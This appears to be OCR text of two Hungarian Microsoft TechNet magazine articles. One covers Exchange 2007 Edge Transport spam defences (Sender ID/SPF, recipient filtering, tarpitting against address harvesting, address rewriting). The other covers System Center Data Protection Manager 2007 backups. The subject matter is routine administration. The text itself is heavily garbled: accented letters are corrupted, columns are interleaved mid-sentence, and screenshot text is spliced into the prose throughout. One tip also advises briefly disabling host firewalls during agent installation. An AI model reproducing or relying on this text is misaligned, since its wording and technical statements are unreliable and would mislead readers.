Sender ID. Ez az az elnevezés, amely mogott
az SPF (Sender Policy Framework) technologia
all. Tipikusan spam elleni védekezésre talal-
tak ki. Bar terjed mar valamennyire, de sajnos
még nem nevezhetd teljesen dltaldnosnak.
Nagy vonalakban arrél van szo, hogy a
rendszergazda felveszi az SPF-rekordokat a cég
kiillsé DNS-zondjaba. Amikor valahovd meg-
érkezik egy altaluk kiildott levél, akkor az otta-

ni spamfilter ellenérzi, hogy a levél fejlécében

(Received-mezd) taldlhaté IP-cim szerepel-e

a felado DNS-zonijadban mint SPF-rekord.
Aztan ennek megfeleléen viselkedik. Vagyis

beleirja a levélbe, hogy mit tapasztalt. A tor-
lés/visszautasitas opciok bedlli-

= Létezik-e a cimzett?

Az utébbi funkcional ad némi segitséget,
hogy az Edge Transportszerver sajat mini-
cimtiriaba importalta 4t az organizicio tel-
jes cimlistajat (amelyet természetesen frissit).
Nem kell elmagyarazni, mennyivel gyorsabb
ez, mint a kiils6 gyartok termékei altal meg-
valdsitott egyenkénti tavoli LDAP-lekérdezés.

Beszéljiink most a tollba-kdtranyba forga-
tasrol is egy kicsit. Mikor is nyulunk ehhez
az eszkozhoz! Példaul, ha valaki betakaritani
szeretne.

Oké, megmagyardzom. Létezik egy olyan
technika, hogy Email Harvesting. Az Egy kis
spamlélektan cim(i cikkben részleteztem az
SMTP protokoll tanclépéseit. Amikor betel-
netelek egy levelezészerverre, és megprobd-
lok cimzetteket vélasztani, a szerver vissza-
valaszol, hogy ,,250 2.1.5 Recipient OK” vagy
,550 5.1.1 User unknown”.

Gyakorlatilag elég irnom egy programot,
és tippelgetéssel mar be is takarithatom ve-
le az adott cég Osszes €16 cimét. Ez ellen ad

védekezést az ugynevezett kitranygodor (Tar-

Feafure

T Status &1 MewAccepted

tasat - amig ez a technoldgia T
[S71P Allow List

187 1P Allow List Provi
[571P Block List
[571P Block List Praw
(&7 Recipient Filtering
159 Sender Fitering
(57 5ender ID

|87 Sender Reputatio

nem vélik altalanossa - nem-
igen ajanlanam.

(Az Egy kis spamlélektan ci-
mi cikkben taldlhato levélfej-
lécben megtekintheté az SPF-

bejegyzés is.)

Enabled
Enabled

ders Enabled
€ ITY

Sender 1D Properties ~ E|

General Action |

Froperties

If the Sender ID check fails, take the following action:
" Reject message
© Delete message
&

Sender Filter. Nagyon ha- 6. dbra. Akcid h

sonld a Connection filtering
ligynokhoz, csak amig ott IP-cimeket enged-
hetiink, illetve blokkolha-

File  @ction

3 Microsoft Exchange
=% Edge Transport

M_.‘EW Content Filtering Properties e )
aiies

General Custom words ] Excsplmnsl Act\un]

Messages containing these words or phrases will not be blocked:

|| tunk, addig itt a felado
cimén  (*@*biggerpentis.

com) alapulod sziirést va-

&1 Tookhox T

ist ¥

losithatjuk meg. A cimet

puma

containg a word or phrase from the list above:

Messages containing thess words or phrases will be blocked, unless the message

a sz(ird a boriték MAIL
FROM: mez6jébél veszi
- kalkuldljuk ezt be, ami-
kor a megbizhatdsagat la-
tolgatjuk. Sajnos ez a me-

z6& hamisithato.

[

Recipient Filter. Szin-

tén boritékvizsgilat, csak

ez a szr6 az RCPT TO:
mez6t ellendrzi. Alapve-

toen kétfajta vizsgdlat tor

Cancel

o]

ténik:

= Rajta van-e a cimzett va-

5. dbra. A Content Filter tulajdonsdglapja
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lamilyen tiltolistan?

idnyzo SPF esetén
pitting) technika: az ’ismeretlen felhaszna-
16’ jellegti valaszt az altalunk meghatarozott
ideig késleltetjiikk. (A konkrét paraméter ne-
ve TarpitInterval, és a receive-konnektoron
kell allitani.)
Attachment filtering. Kétféleképpen vizs-
galhatunk csatolast:
= a f4jl vagy a kiterjesztés neve alapjan;
= a f4jl MIME-tartalomtipusa alapjan.
Protocol analysis. Kicsit félreérthetd az
ligynok neve - ugyanis nem analizal, hanem
csak logol. Méghozza ide:
= C:\Program Files\Microsoft\Exchange
Server\TransportRoles\Logs\
ProtocolLog\SmtpReceive
= C:\Program Files\Microsoft\Exchange
Server\TransportRoles\Logs\
ProtocolLog\SmtpSend
Address rewriting inbound/outbound.

Annyit beszéltiink mar az e-mail-spoofolds
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elleni védelemrol, épp itt az ideje, hogy mi is
spoofoljunk egy nagyot. Hogy ez mit is takar?
Azt, amikor belejavitgatunk a levél fejlécébe.

Most egy kicsit a sziirke zonaba léptiink.
A levélhamisitds ugyanis alapvetéen csunya
dolog.

De van, amikor musz4j.

Képzeljik el, hogy két, ondllo levelezd-
rendszerrel biré cég egyesiil. Vagy egy sok ap-
6 cégbol allé konglomeratum konszolidalni
akarja a levelezését. Mindkét esetben lehet
olyan elviras, hogy a cégek egymas kozott
hasznalhassdk az eredeti cimeiket, de kifelé
egységes cimtartomanybol latszodjanak.

Ide bizony kell a szike meg a varrot!

Az egyszertiség kedvéért tételezzitk fel,
hogy csak egy kijaratunk van az internet felé.
A levelezésiink egy Edge Transport-szerveren
keresztiil megy.
= Az els6 lépésben az dsszes cégre vonatko-

26 MXerekordot at kell allitani, hogy erre a
levelezészerverre mutassanak.
A masodik lépésben az ¢sszes tartomanyt
fel kell venni az Accepted Domain listara.
Harmadjira egy e-mail address policy se-
gitségével gondoskodnunk kell arrél, hogy
minden cég minden dolgozojanak legyen
egy @cegnev.hu alaku e-mail-cime - de az
alapértelmezett cime ne valtozzon.
Innen kezdve mar csak azt kell megol-
danunk, hogy az 6sszes kimend levélnek
mind a boritékjan, mind a belsé felén ki-
cseréljitk a feladd cimét kovacs.22.janos@
irgum.burgum formatumrol kovacs.22.ja-
nos@cegnev.hu alakura. Spoof.

Vigjunk bele. Alaphelyzetben a rewriting-
igynokok le vannak tiltva. A megoldds:

enable-transportagent -identity , address rewriting outbound
agent”

Majd felvesziink egy rewriting-szabalyt:

new-addressrewriteentry -name IrgumBurgum -externaladdress
(@cegnev.hu -internaladdress @irgum.burgum

Ennyi. Természetesen legalabb annyira
meg lehet cifrazni, mint egy kalotaszegi le-
gényest, de ebben a cikkben legyen elég ez az
egy példa.

Header firewall. Egyfajta kakukktojds.
Nem tigynokként tevékenykedik, hanem egy

Exchange ADAM EdgeSync

Active Directory

Hub Transport

Edge Transport
Server

=

Outlook 2007
Client

Mailbox
Server

7. dbra. gy dll ssze oz épitékockakbdl a védelmi rendszer

ltaldnos szdllitasi elemként. A spammerek
sem iltek ugyanis tétleniil, mikozben sorra
jottek ki a védelmi rendszerek. A levelek fej-
lécébe - az X-mezdkbe - rejtett SCL/PCL-in-
formdciok ellen példaul tigy harcolnak, hogy
mar eleve beleraknak ilyeneket a levélbe, ter-
mészetesen jO alacsony értékkel.

Védekezni ugy lehet elleniik, hogy nem bi-
zunk meg senki spamfilterében, hanem mie-
l6tt belekezdenénk a sajat vizsgalatunkba, ki-
pucolunk minden, nem oda valé X-mezét.

Az automatikusan keletkezé konnektoro-
kon be van kapcsolva, az altalunk létreho-
zott konnektorokon a jogosultsdgi rendszer

finomhangolasaval allithatjuk be.

Virusok elleni védelem
Szép, szép. Es eddig még csak a spamek el-
leni védelemrsl beszéltiink. Most jonnek a
virusok.

Alaphelyzetben nincs semmiféle virus-
védelem az Edge-szerverben. Viszont kiépi-

tettek egy nagyon praktikus becsatlakozasi

pontot - lasd transport agent - amelyen ke-

resztiil a kiilsé fejlesztok konnyen bele tud-
nak avatkozni a szillitdsi mechanizmusba.
Emellett persze megmaradt a jo 6reg VSAPI
is, azok szdmara, akik idegenkednek az tigy-
nokoktsl.

Végiil beépitettek egy olyan mechaniz-
must, amely térolja, ha egy levél mar 4t lett
vizsgalva, igy a késobbi ellenérzéseken mar
nem kell atesnie.

Ez az alapeset. Nagyban megvaltozik a
helyzet akkor, ha van Forefront Security for
Exchange Server nevezetl termékiink. (Ezt
vagy kiilon megvessziik, vagy Enterprise-li-
cenccel telepitjiik az Edge Transportszerve-
riinket.) A Forefront - leanykori nevén: Sy-
bari Antigen - a Microsoft megolddsa mind
a virusok, mind az egyéb férgek, adware-ek,
trojaiak ellen.

A fenti abran lathato, hogyan mikodnek
egyiitt a kordbban targyalt védelmi kompo-
nensek egy Exchange 2007-organizicidban.

Petrényi Jozsef
Exchange MVP, MCSE+M, MCITP
(petrenyi.jozsef@sao.hu) SAO-Synergon

Microsoft TechNet
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MENTES MASKENT
— A SYSTEM CENTER
DATA PROTECTION
MANAGER 2007

A biztonségi mentések terlletén a jelek szerint lassabban jar az idé.

Ugy tGnik, mintha az Uzemeltetéssel foglalkozé szakemberek

axiémaként fogadtdk volna el, hogy a biztonsdgi mentések

készitésének kizardlagos ideje az éjszaka, a mentések hordozdja

pedig csakis a mégnesszalag lehet.

kényszertien kotott kompromisszum, mint axioma. A Microsoft System Center-termék-

! kovetkezd irdsban arra szeretnénk ravildgitani, hogy ez sokkal inkabb beidegzddés és

csalad részeként érkezd Data Protection Manager 2007 pedig egyenesen dsztdndz arra,
hogy feliilvizsgaljuk a megkévesedett mentési gyakorlatot, és egy rendkiviil rugalmas rendszer-
rel valtsuk fel.

Az elsé mondatokat olvasva felmertilhet a kérdés, hogy mi is a gond az eddig olyan jol bevalt
mentési megoldasokkal. A teljesség igénye nélkil lassuk csak a harom legfontosabbat:

Megbizhatosag. A megbizhatosdggal kapcsolatban kétféle kétség mertiil fel. Az els6 kérdés-
kor technologiai jellegti, hiszen a szalagos egységek a jelentds technologiai fejlédés ellenére
egy nagyjabol dtvenéves mikodési elven alapulnak. A technologiai sajatossdgokbol adédddan
a helyreallitas sikeressége fligghet példdul az egyes egységek beallitasitol, kopottsagatodl.
Raaddsul ezek a meghajtok nagyszdmu mozgd alkatrészt (gorgdket, szalagvezetdket, bef(izod
mechanikakat, szervomotorokat) tartalmaznak, amelyek jelentésen csokkentik a meghajtok
MTBE- (Mean Time Between Failure) mutatoit.

A Microsoftnal tizemel6 szalagos egységek példaul a szakszer(i tizemeltetés mellett is 17 sza-
zalékos meghibasoddasi aranyt mutatnak éves szinten. A merevlemezek meghibasodasi mutatoi
manapsag ennél mar lényegesen jobbak, nem is beszélve arrol, hogy az egy gigabajtra vetitett
beszerzési koltségiik is sokkal alacsonyabb, még akkor is, ha hibattiré rendszerbe szervezzitk
ket. Es akkor még nem is beszéltiink arrol, hogy javitasuk, cseréjitk mennyivel egyszer(ibb és
gyorsabb, mint a szalagos egységeké, marpedig az id6 az IT vilagaban is egyre jobban mérhetd
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forintban vagy mas tetszéleges pénznemben.
A megbizhatésaggal kapcsolatos mésik kér-
dés az iizemeltetési gyakorlathoz kapcsolo-
dik. Annak ellenére, hogy a legtobb mentési
szoftver felkinalja a mentések visszaellenor-
zésének lehetdségét, a legtobb esetben kikap-
csoljuk ezt a funkciot, és johiszemtien arra
hagyatkozunk, hogy a technika bizonydra
precizen elvégzi majd a feladatit.

Az ilyen dontéseknek leggyakrabban az
idétényezd az oka, de errél a kovetkezd pont-
ban még részletesen sz6 lesz. Az ellendrzések
kihagydsianak kovetkezményeivel majd csak
akkor szembestliink, amikor teszt vagy éles
visszatdltés soran olvashatatlan szalagokkal
talalkozunk, vagy éppen magarol a meghajto-
rol deriil ki, hogy nemcsak most nem olvas,
hanem mar hosszabb ideje nem is ir.

A mentési ablak besztikiilése. A legtobb

viallalatnal a biztonsagi mentéseket erre a célra
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fenntartott idészakban készitik (,backup win-
dow”). A mentés idejére kicsit megill az élet,
korlitozzuk az alkalmazasok futasat, leallitunk
tizleti folyamatokat és szolgaltatasokat, hogy
ezzel is elésegitsiik a mentések sikeres lefuta-
sat. Ez a megkozelités egy ideig teljesen muiko-
doképes lehet, de ahogy egyre jobban épit a
véllalat a szamitdstechnika nyujtotta szolgalta-
tasokra, és ahogy a mentend6 adatmennyiség
(egyébként egyre gyorsabban) novekszik, ugy
n6 az esélye annak, hogy a mentéseket mar
nem tudjuk elkésziteni a rendelkezésiinkre

llo idsben. Atmenetileg persze kezelhetjiik

a problémat a visszaellenérzés kikapcsolasa-

val, a teljes mentések ritki-

Center Data Protection Manager 2007 jo
eséllyel indul a kiillonféle ,alternativ” menté-
si megolddsok versenyében. Aki figyelemmel
kiséri a Microsoft portfolidjat, az emlékszik
arra, hogy hasonlé néven egy 2006-bol kel-
tezett termék is létezik; tudasban azonban az
inkabb csak vazlat vagy elétanulmény a na-
pokban a TechEd IT Forumon bejelentett Gj
valtozathoz képest.

Az 0j versenyzo

Az j valtozat példdul teljes mértékben tdmo-
gatja a 64 bites platformokat, mig a kordb-
bival (legalabbis az SP1 elott) csak 32 bites

tasaval, a folyamatok par
huzamositasaval, de végiil
szembe kell nézniink azzal,
hogy mindenképpen kifu-
tunk az idébol.

A szolgaltatas kiesésé-
nek koltsége. Kiillondsebb MicioEa
okfejtések S
nélkul is belathato, hogy

kozgazdasdgi

a komputerizacio el6reha-

ladtaval novekszik a val-

lalatok informatikai flig-

--I-_ — — --

tem Center
ata Protection Manager2007

Mow loading....

My Wicrosoft
A Windows Server System

gosége. Vallalatunk, tigy-
feliink piaci versenyben
val6 helytallasa tehat (egyre kevéshé) kozve-
tett moédon fiigg az informatikai hattértol és
szolgdltatasoktol, amit alkalmazottként vagy
partnerként nydjtunk a szimara. A helyzet
egyenes kovetkezménye, hogy az informati-
kai szolgaltatasok akdr csak részleges kiesése
komoly veszteségekkel jarhat; ezért minden
vallalat és szolgaltatd érdeke az ilyen esetek
elkeriilése vagy legalabbis csokkentése. Ezen
a ponton viszont szembesiilniink kell azzal,
hogy magas rendelkezésre allas (vagyis a ki-
esés elkeriilése) csak magas koltségekkel biz-
tosithatd, mig a helyredllitasi id6 csokken-
tése technologiai okok (szalagos meghajtok
sebessége) miatt nem lehetséges.

Miel6tt az 6rdogi kor teljesen bezarddna,
ideje tehat, hogy - feladva a jol megszokott
technoldgiakat és eljarasokat — valami olyan
Uj megoldas utdn nézziink, amellyel teljesite-
ni tudjuk az egyre névekvd elvarasokat. Ha
pedig ekozben olyan eszkdzre bukkanunk,
ami a fentieken tul még az tizemeltetési fo-
lyamatokat is egyszertisiti, akkor mindenkép-

pen eljott a valtas ideje.

Az els6 tapasztalatok alapjan a System

1. dbra. Uj tag a System Center-csalddban

rendszereket menthettiink, s6t maga a DPM
is létezik és telepithets 64 bites valtozatban.
A kordbbi rendszer kozvetlen médon csak
a fajlrendszer adatait volt képes menteni,
az Exchange- és SQL-adatbazisokat a hagyo-
manyos modon fajlba kellett menteni (nativ
eszkdzzel vagy ntbackup-pal), mielott a DPM

r
Microsoft

System Center
Data Protection Manager

: d‘g

Active
Directory ®

File Servers
Microsoft® Exchange Servers

SQL Servers

Microsoft® Office SharePoint® Servers
including clusters

Clients

2. Gbra. Lényegesen kibéviilt funkcionalitds

gondjaiba vehette ket (ldsd a 909644 szamu
tudasbazis-cikket). A DPM 2007-ben uj foga-
lomként jelenik meg az Application Protec-
tion, amelyen az Exchange- és SQL-adatb4zi-
sok, a SharePointfarmok és Virtual Serveren
futé virtualis gépek kozvetlen védelmét kell

érteni. Gondoljuk végig kicsit mélyebben a

listat, és latni fogjuk, hogy egy atlagos Win-

dows alapu infrastrukturabdl alig marad ki
valami, lényegében minden benne van:

v a fajlrendszer;

v" a System State (benne a registry, az Active
Directory, a tanusitvanytar, az [IS metabase
Stb.);

v az Exchange-adatbazisok;

v az SQL-adatbazisok;

v" a Sharepointfarmok;

v avirtualis gépek (VHD-fajlok).

A sokoldalu alkalmazhatoség technologiai
héttere az arnyékmasolatok széleskor és in-
tenziv hasznalata, ami lehetévé teszi, hogy
adatbézisokat és nyitott fajlokat pillanatfel-
vételszertien mentsiink. Ez a technoldgia az
adatbazisok tranzakcios rendszerével és diszk
alapu adattarolassal 6tvozve soha nem latott
hatékonysagu mentési/helyreallitdsi rend-

szert biztosit.

Alapfogalmak

Itt érdemes néhiany szot ejteni a szoftver-
hez kapcsolodo uj szakkifejezésekrdl, mert a
bels¢ miikodés - akarmennyire egyszert is
- csak ezek megértése utdn valik nyilvanva-
lova. Minden adatmentés alapja egy kezdeti

masolat (Initial Replica vagy Baseline Initial
Mirror). Ekkor a DPM gyakorlatilag lemésol-

DPM 2007

Online Snapshots

|—_ Disk-based

recovery

Dl

DPM Servers

with Tape Library

h ’FHriTape-bgsed
m archive

Offline tape

Microsoft TechNet
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ja a védendo adatot, legyen az egy megosztas,
a System State, Exchange- vagy SQL-adat-
bazis(ok), virtualisdiszk- (VHD-) fajl vagy a
Sharepoint esetében fijlok és adatbazisok sa-
jatos keveréke. Természetesen ezek a kiindu-
16 mentések is drnyékmdsolat-technoldgiaval
késziilnek, igy nem sziikséges az adatbaziso-
kat vagy bizonyos szolgaltatdsokat ledllitani.

A kezdeti és a rajuk épulé tovabbi men-
tések az altalunk valasztott mentési straté-
gidnak megfelelden sorolodnak be. A rovid
tavu védelmi stratégia esetén (és altaldban
is) az elényben részesitett cél a kiszolgalonk
merevlemeze vagy egy SAN-on talalhat6 lo-
gikai meghajto. Ebben az esetben beszéliink
disk-to-disk vagy roviden D2D-stratégiarol.
A hosszu tavu stratégidt vdlasztva kapjuk
a ,klasszikus” szalagos mentési lehetdsége-
ket, ilyenkor azonban szamitanunk kell arra,
hogy a visszaallitds rugalmassaga korldtozot
tabb lesz.

Ez a diskto-tape vagy D2T-megoldas. Ha
teljes korti védelmet szeretnénk, akkor ter-
mészetesen Otvozhetjiik is a két modszert, és
ekkor disk-to-disk-to-tape mentéseket készit-
hetiink (D2D2T), amellyel mar komoly audit-
elvarasoknak is eleget tudunk tenni.

Az alkalmazasok mentésénél talalkozunk
még az Express Full mentéssel, ami gyakor-
latilag az ¢16 adatb4zis és a replika rendszeres
Ujraegyeztetését jelenti. A rendszer ilyenkor
meggy6zodik arrdl, hogy a kezdeti mésolat-
bol, az arnyékmasolatokbol és a tranzakcios
logokbol felépitett szintetikus mentés valo-
ban egyezike az él6 rendszeren futé adat
bézispéldannyal, és sziikség esetén javitja az
eltéréseket, majd ezt az egyeztetett példanyt
hasznalja a tovdbbi mentések alapjaul.

Kezdeti lépések

Az elméleti alapozds utan lassuk, mivel és

hogyan vighatunk neki a Data Protection
Manager 2007 hasznalatanak! Elgszor is
szitkségiink van egy erre a célra fenntartott
kiszolgalora. A jelentds és folyamatos terhe-
lés miatt nem célszerti a DPM-et futtato gé-
ptinket mds célokra is hasznalni. A minima-
lis hardverkovetelmények — a merevlemezek
kivételével — a System Center-csaladban mar
megszokottak: legaldbb 1 gigahertz orajeld,
P4 osztalyt processzor, 2 gigabdjt memoria és
Windows Server 2003 R2 SP2.
Merevlemezbdl viszont sok kell. Sét, na-

gyon sok. Okélszabalyként azt mondhatjuk,
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hogy a mentendé adatok minimum masfél-
szerese szlikséges. Exchange- és SQL-adatba-
zisok esetén a kalkuldcio alapja az adatbdzi-
sok mérete, és ehhez adodik hozza a naponta
keletkezd tranzakcios logok mérete. A lemez-
kapacitis rendelkezésre dllhat helyben (belsé
diszkek) vagy mds gyors elérésti formaban
(SAN vagy iSCSi). Fontos azonban, hogy az
adatmentésre szant teriiletet ne particional-
juk és ne formazzuk meg, ezt majd a DPM
dinamikus formaban megteszi helyettiink.
Természetesen megtarthatjuk a szalagos
mentdegységeinket is, ¢s D2D2T-mentések
készitésére hasznalhatjuk 6ket. A tAmogatott
meghajtok listdja tekintélyes hosszusdgu, ide-
értve a robotizalt eszkozoket is. (A teljes lis-
ta az aldbbi URL-en talalhaté: http://www.
microsoft.com/systemcenter/dpm/partners/
tapelib.mspx.)

A telepités meglehetésen egyszerti folya-
mat, mindossze arra kell figyelniink, hogy
magan a DPM-kiszolgalon és az 6sszes védett
gépen fenn kell lennie a KB940349-es javi-
tocsomag megfeleld valtozatanak, ami az ar-
nyékmasolatszolgdltatis harmadik generacio-
jat tartalmazza. A DPM-kiszolgalon ezen feliil
természetesen kovetelmény a PowerShell je-
lenléte, mert enélkill nem hasznalhato a
DPM Management Shell. Kisebb kornyezet-
ben adatbizismotorként telepithetiink egy
helyi példanyt a telepit6 DVD-n talalhato
SQL Server 2005 Standard verziébol, komo-
lyabb rendszerek esetén
viszont célszerti fliggetlen — [ArraiomEm

SQL-szerveren elhelyezni

szekcioban beallithatjuk a szalagos egységiin-
ket, feloszthatjuk és katalogizdlhatjuk a sza-
lagtarat, tehat felkésziilhetiink a hosszabb
tavra tervezett mentéseinkre. Végezetiil te-
lepitentink kell a mentendé gépekre a DPM
ligynokét, ami nem megy minden esetben si-
man: a tapasztalat szerint ajanlatos a telepités
elott a helyi tiizfalakat példaul egy netsh fire-
wall set opmode disable paranccsal atmene-
tileg kikapcsolni. Ha lehetdségiink van wjra-
inditani a célgépeket, akkor azt tegytik meg,
mert az tigynok csak az ujrainditast kovetden
mitkodik megfelelden. Ha az ujrainditas csak
egy késobbi alkalommal lehetséges (példaul a
kovetkezd karbantartasi ablakban), akkor a
telepitést kovetéen mindenképpen kapcsol-
juk vissza a tzfalat. Az Gjrainditas utdn a
megfeleld tiizfalszabalyok mar életbe lépnek,
és nem akadélyozzdk a DPM-szerver és az

-igynok kozotti kommunikaciot.

A mentések kezelése

Tovabblépve a Protection szekciora, beallit-
hatjuk a tényleges mentéseinket. A beallitds
elott feltétleniil végezziink gondos tervezd-
munkét! Mentendé adatainkat csoportosit-
suk forrasuk (péld4ul fajlkiszolgalok, SQL-
adatbazisok stb.) és/vagy fontossaguk szerint!
Igy 6sszeallithatunk egy mentési tervet, ami
tartalmazza, hogy milyen tipust adatokat,
milyen gyakorisiggal és milyen stratégiaval

mentiink, mennyi ideig tartunk bizonyos

e T

5] R P Mo

a DPM-adatbazist.

T iype.  Protecton Stolus

=131 Protection Group: Exchange Data PG (Total members: 2)

A feliigyeleti felilet is
egyszer(i és dttekintheto,

nem csabit senkit arra,

% [] Compuer: WW-MSE viediom ool
Py

= 1 Computer: WS¥-LURE-DLvindianocal
% [] Compolier: WSW-MSEvirdion ol
4 Protection freu: SOt Server 95 (Total manbers: ()

# [1 Computer: wsy wss.virdiandocal

hogy orikat toltson el a
kilonféle lehetdségek fel-
fedezésével. (Kulonben is:

ideje megszoknunk, hogy

a felfedezhets  dolgok

mostansag a Management

Shell-programokban talal-
hatok, igy van ez a DPM

Bisun| |3 &

| 55 o cvur admnsraor .

esetén is.) A konfiguralast
aManagementszekcioban
kell elkezdentink. Itt a Disks szekcioban ad-
hatjuk 4t a Data Protection Managernek azo-
kat a merevlemezeket, amelyeken a rovid ta-
vi mentési stratégiank részeként szeretnénk

tarolni az adatainkat. Ezutan a Libraries

3. dbra. Csak a lényeg a konzolon

adatokat lemezeken, és mikor tessziik at sza-
lagra. A kialakult tervet a vallalatunknal ér-
vényes rend szerint érdemes egyeztetni az {iz-
leti oldal képviselsivel, a mindségbiztositasi
felel6sokkel és mindazokkal, akik érintettek
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LI Computer Management g

=101 x|
=) Ele  Action  Wiew Window  Help ‘_ &) x|
l¢» a@ER2E

E Computer Management (Local) Yolume
- m System Tools

gyors lemezekrdl és strtibben végzett men-
tésbol visszaallitani az adatokat. A Synchro-

nization frequency hatdrozza meg, hogy mi-

I Layout I Tt pel File System | Status

0PN, on wakdp viridian  Simple D.. NTFS Healthy

Evert Viewer SHOPM-CH, on wekap vindian  Simple D.. NIFS Healthy

% Shared Folders (EIOPM-Cil on WSY-CORE-DC.viri Simple: . NTFS Healthy

Local Users and Groups (SIDPM-Ci\ on WSY-CORE-DC.viri Simple . NIFS Healthy

g Ferformance Logs and Alert: | —appw ) on wsy-MSviidan Simple . NTFS Healthy

J ot M DBie e (SIDPMECH, on WSY-MSKviridian Simple .. NTFS Healthry

8- 'sginvah‘e storage (=IDPM-First Storage Group on Simple: . NTFS Healthy

R % ofi ot (SHOPM-First Starage Graup on Sinple . NTFS Healthy

i T SH0PMHMon YSS Datasource Wik Simple . MIFS Healthy

41 b Services and applications (SHOPMHNon YSS Datasource Wik Simple . NIFS Healthy

(SH0PM-Second Storage Groupon Simple L NIFS Healthy

(SMDPM-Second Storage Groupon Simple L NTFS Healthy
4

I Capacity | Free Space | % Free ~

z,16GE  Z,14GE 99 %
8,82GE 8,77 GE 99 %
1,9%GE  1,95GE 99 %
5,90GE 5,87 GE 99 %
2,66GE 2,64 GE 99 %
16,27 GBE 16,21 GE 99 %
1,7468  1,73GE 99 %
1,00 6B 1022 ME 99 %
1,67 GB 1,66 GE 99 %
1,50GE  1,49GE 99 %
1,63G6 1,62GE 99 %
1,01 6B 1022 MB 99 %

lyen gyakran késziil pillanatfelvétel a védett
adatokrol, vagyis kozvetlentl ez az érték jelzi,
hogy milyen mértéki lehet a maximalis adat-
vesztésiink. A legrovidebb beallithato érték
15 perc, de ezzel banjunk évatosan, mert egy
erésen igénybe vett fijl- vagy Exchange-ki-

szolgalon jelentds mértéki véltozas torténhet

: akar 15 perc alatt is, ami jelentds terhelést
Zfpisk 0

Basic )
29,99 GB 29,99 GB NTFS
Online Healthy (System)

EPpisk 1

Crynamic DPM-C:% on | DPM-Non ||DPM-C: 1 || DPM-C o | DPM-Firs | | DPM-Sec
40,00 GB 8,62 GBNTFS [[1,50 @B N || 1,96 @B M ||2,66 GBNT || 1,74 @B N [[1,63GBN |[|21,66 B
Onling Healthy Healthy Healthy Healthy Healthy Healthy Unallocated

SPDisk 2
DPM-C:h « | DPM-Non || DPM-C: on | DPM-C: on\ | DPM-Fir: || DPM-Se
40,00 GB 2,16 GBNT || 1,67 GEN | |5,90 GENTF: | 16,27 GENTFS | (1,01 GEN || 1,01 BN || 11,99 GB
Unallocated

Crynarnic
Online Healthy Healthy Healthy Healthy Healthy Healthy

okozhat mind a forraskiszolgdlon, mind a
halézaton, még akkor is, ha a DPM 2007-et
egyébként felkészitették az eréforrasok opti-

malis kihaszndlasdra. A File recovery points
alatt allithatjuk be, hogy a DPM milyen

gyakran frissitse a mentett adatok kiinduls

«| | _>| W Unallocated [l Primary partition [ Simple volume

allapotit (vagy egyszeribben: milyen gyak-

| ran készitsen teljes mentést). Az eddigi lépé-
4. dbra. A DPM birfokba vetfe a lemezeket

sek alapvetden meghatdrozzak a mentésekhez

szitkséges lemeztertiletet, amirdl a vardzsld

Create New Protection Group kovetkezd lepeseben kapunk Osszesitést.

[ Specify Short-Term Goals
% DPM will create a pratection plan uzing your short-term recovery goals.

Steps: -

‘wielzome

Az utolso lépés a kezdeti mentés iddzitése.
Itt azt kell szem el6tt tartanunk, hogy ebben

Specify your short-tem recovery goals for disk-based pratection. a féZiSban a teljes Védendé adatmennYiSég

|5 3: daps
& Every [{NENE

= Just before a recovery point

T titkrozédik a hélozaton a DPM-kiszolgélora,
Select group members - = i 11 fl ) 1 k ] d o k lf l
Select data protection Synchronization frequency: ¢s a pillanatfelvetelek meginditasanak eloftel-

method tétele, hogy ez a mentés sikeresen végbemen-
Select sharttem goal . ) . ; il A B
elect shortteim goals jen. Tehat hagyjunk ra megfelels idot, és ido-

Review disk allocation

i File recovery points P 1= 9 2 2
; zitstik olyan idépontra, amikor mas szolgdlta-
n?;fﬁosg replica creation Specify recovery points for file members. v p ! g

tasok mtikodését nem akadélyozza!

Summany Recovery paints for files: 300, 1200, 15:00 Everpday d

Status ﬂ Madiy ...

— Application recovery points

Tovdbbi lehetdségek

A létrehozott csoporton még finomhangolast

For applications the recovery point is as per synchonization frequency when they support incremental, othensise the
recovery point is s per exprese full backup.

Recovery points e e ] végezhetiink (soha ne tegyiik ezt példdul kez-

deti szinkronizalds kézben, mert megszakitja

Express Full Backup: 20:00 Everyday ﬂ

ﬂ todify ...

a folyamatot!). Engedélyezhetjitk a hildzati

tomoritést (on-wire compression), amellyel

5. dbra. Az iddzités eldntheti a lemezfelhaszndldst is

lehetnek az adatmentés sikerességében. Egy
jol kitaldlt mentési rendre aztan akar garan-
talt SLA-t is véllalhatunk.

Amikor tehat tudjuk, hogy milyen adatok
fognak egy mentési csoportba tartozni, ak-
kor nekildthatunk a Protection Groupok lét-
rehozasanak. A néhany lépéses varazslonak
mindossze hdrom érdemi pontja van: mit,
hogyan és milyen gyakran akarunk menteni.
Tartalmi szempontbdl menthetiink megosz-
tasokat vagy logikai koteteket, Exchange- és
SQL-adatbazisokat, System State-et, Share-

pointfarmokat és virtualis gépeket. Ezeket a

szokott modon a folderstrukttra bongészé-
sével és jelolonégyzetek kipipalasaval valaszt-
hatjuk ki. (Természetesen van méd bizonyos
fajlok vagy akar egész mappak kizardsara is.)

A masodik pontban adjuk meg a csoport
nevét és azt, hogy lemezre vagy szalagra sze-
retnénk végezni a mentést. A harmadik lépés
talan a legbonyolultabb, a ,,mikor” kérdése.
Itt nemcsak elére, hanem visszafelé is kell
gondolkodnunk. A Retention range para-
méter ugyanis azt mondja meg, hogy a DPM
mennyi idére ldsson vissza az idében, tehit

mennyi idére visszamenden lesziink képesek

processzorteljesitményért cserébe hdlozati
sévszélességet nyerhetiink. Idézithetiink napi
konzisztencia-ellendrzést, ami foként akkor
lehet hasznos, ha heti vagy kétheti teljes men-
tést dllitottunk be. Ez az ellenérzés garantal-
ja az adatok integritasit a kovetkezd teljes
szinkronizdlasig.

A Data Protection Manager egyik jelen-
tos elénye, hogy timogatja tévoli kiszolgalok
mentését is. Minden telepitett tigyndkre be-
allithatjuk a hélozati savszélesség felhaszna-
lasat munkaidore és egyéb idészakokra, ezzel
garantalva, hogy munkaidében az tizleti al-
kalmazasok megfelels savszélességhez jussa-
nak, mig éjszakai és hétvégi idészakokban a

mentéseké lehet az elsdbbség.

Microsoft TechNet
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A teljes védelem érdekében mdr ,csak”
a szalagos mentéseket kell konfiguralnunk,
ezeket viszont akdr hétkdznapra és munka-
idore is tehetjiik, tehat van alkalmunk ellen-

Srizni ket és beavatkozni, ha szitkséges.

Az adatok helyredllitdsa

A helyreallitasok legaldbb annyira egysze-
riek, mint a mentések: kikeressiik a vissza-
toltendd foldert vagy fajlt, kivalasztjuk azt
az idépontot, amelyik allapotot szeretnénk
visszaallitani (ez lehet egy akar 15 perccel
